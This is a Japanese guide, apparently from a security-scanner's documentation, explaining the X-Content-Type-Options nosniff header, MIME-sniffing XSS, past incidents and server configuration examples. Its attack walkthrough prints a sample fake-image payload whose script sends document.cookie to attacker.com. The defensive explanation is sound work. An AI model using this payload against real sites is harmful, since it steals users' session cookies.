X-Content-Type-Options: MIMEタイプスニッフィングを防ぐ
これは何?
X-Content-Type-Optionsは、ブラウザがファイルのMIMEタイプを「推測」する動作(MIMEスニッフィング)を無効化するHTTPレスポンスヘッダです。設定値はnosniffのみで、サーバーが送信したContent-Typeヘッダを厳格に守るようブラウザに指示します。
MIMEタイプとは、text/html、application/javascript、image/pngなどのファイル形式を示す識別子です。本来、ブラウザはサーバーが送信したMIMEタイプに従ってファイルを処理すべきですが、古いブラウザ(特にInternet Explorer)は「ユーザーフレンドリー」を目指して、ファイルの内容から実際のタイプを推測する機能を持っていました。
なぜ重要なのか
MIMEスニッフィングが有効だと、攻撃者はテキストファイルや画像ファイルをJavaScriptとして実行させることができます。これにより、ファイルアップロード機能を持つWebサイトで深刻なXSS(クロスサイトスクリプティング)攻撃が可能になります。
例えば、プロフィール画像のアップロード機能があるサイトを考えてみましょう。攻撃者が悪意あるJavaScriptコードを含む「画像ファイル」をアップロードし、そのURLに他のユーザーを誘導すると、ブラウザはファイルの内容から「これはJavaScriptだ」と判断し、実行してしまう可能性があります。
X-Content-Type-Optionsを設定すると、サーバーがContent-Type: image/pngと送信したファイルは、中身がどうであれ画像として扱われ、スクリプトとして実行されることはありません。
攻撃の仕組み
MIMEスニッフィングを悪用した攻撃は以下の手順で実行されます:
- 悪意あるファイルの作成: 見た目は正常な画像やテキストファイルだが、実行可能なJavaScriptコードを含むファイルを作成します
<!-- malicious.jpg の内容 -->
GIF89a /* 画像ファイルのマジックナンバー */
<script>
// ユーザーのCookieを盗む
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
-
ファイルのアップロード: 脆弱なサイトのファイルアップロード機能を使い、このファイルをアップロードします
-
Content-Type偽装: サーバーは
Content-Type: image/jpegとして配信しますが、ブラウザは内容を解析します -
スニッフィング実行: MIMEスニッフィングが有効な古いブラウザは、「これはHTMLだ」と判断し、scriptタグを実行します
-
攻撃成立: ユーザーがこのURLを開くと、JavaScriptが実行され、Cookie盗難やセッションハイジャックが発生します
実際の被害事例
Internet Explorer のXSS脆弱性(2014年): IE8-11で、Content-Type: text/plainと指定されたファイルでも、内容にHTMLタグが含まれていればHTMLとして解釈される脆弱性が発見されました。多くのWebアプリケーションで、ユーザーがアップロードしたテキストファイル経由でXSS攻撃が可能でした。
Googleの画像アップロード脆弱性(2012年): Googleのあるサービスで、画像ファイルとしてアップロードされたファイルがスクリプトとして実行される問題が報告されました。X-Content-Type-Optionsの設定により修正されました。
Hotmailの添付ファイル攻撃(2001年): Microsoftの旧Hotmailで、.txtファイルの添付ファイルがHTMLとして解釈され、メール受信者のアカウントが乗っ取られる攻撃が可能でした。これはX-Content-Type-Optionsヘッダが存在する前の事例ですが、この問題がヘッダ導入の動機となりました。
WordPress プラグインの脆弱性(2018年): 複数のWordPressプラグインで、アップロードされたSVGファイル(XML形式)内のJavaScriptが実行される脆弱性が発見されました。サーバーはContent-Type: image/svg+xmlを返していましたが、適切な保護がなかったため攻撃が成立しました。
Nyambushでの検出内容
Nyambushのセキュリティヘッダスキャンでは、以下の項目をチェックしています:
- X-Content-Type-Optionsヘッダの有無: ヘッダが設定されているか
- 設定値の妥当性:
nosniffが正しく設定されているか(これが唯一の有効な値) - 大文字小文字の確認:
nosniff、NOSNIFF、NoSniffなど、どの表記でも有効(大文字小文字を区別しない) - 全ページでの設定: HTMLページだけでなく、画像、CSS、JavaScriptファイルなど、すべてのリソースで設定されているか
スキャン結果で「X-Content-Type-Options: nosniff が設定されていません」と表示された場合、ファイルアップロード機能があるサイトでは特に早急な対応が必要です。
対策方法
Apache (.htaccess または httpd.conf)
# すべてのレスポンスにX-Content-Type-Optionsを追加
Header always set X-Content-Type-Options "nosniff"
Nginx
# すべてのレスポンスにX-Content-Type-Optionsを追加
add_header X-Content-Type-Options "nosniff" always;
Next.js (next.config.js)
module.exports = {
async headers() {
return [
{
source: '/:path*',
headers: [
{
key: 'X-Content-Type-Options',
value: 'nosniff',
},
],
},
];
},
};
Express.js
const helmet = require('helmet');
// helmetを使用(X-Content-Type-Optionsも含む)
app.use(helmet());
// または個別に設定
app.use(helmet.noSniff());
// 手動で設定する場合
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
next();
});
WordPress (functions.php)
function add_security_headers() {
header('X-Content-Type-Options: nosniff');
}
add_action('send_headers', 'add_security_headers');
PHP (全般)
<?php
header('X-Content-Type-Options: nosniff');
?>
CDN設定(Cloudflare)
Cloudflareを使用している場合、Transform Rulesで一括設定できます:
- Cloudflareダッシュボード → Rules → Transform Rules
- Modify Response Header を選択
- Set dynamic → Header name:
X-Content-Type-Options, Value:nosniff
設定確認方法
設定後、ブラウザの開発者ツール(F12)のNetworkタブで、レスポンスヘッダに以下が含まれていることを確認します:
X-Content-Type-Options: nosniff
curlコマンドでも確認できます:
curl -I https://your-site.com
まとめ
X-Content-Type-Options: nosniffは、設定が極めてシンプル(値はnosniffのみ)でありながら、MIMEスニッフィングによる重大な脆弱性を確実に防ぐことができる必須のセキュリティヘッダです。
重要ポイント:
- 設定値は
nosniffのみ(他の値は存在しない) - 全ページ・全リソースで設定することが推奨
- 特にファイルアップロード機能があるサイトでは必須
- Internet Explorerの脆弱性対策として誕生したが、現代のブラウザでも有効
Nyambushのスキャンで設定状況を確認し、未設定の場合は今すぐ対応しましょう。わずか1行の設定で、MIMEスニッフィング攻撃のリスクを完全に排除できます。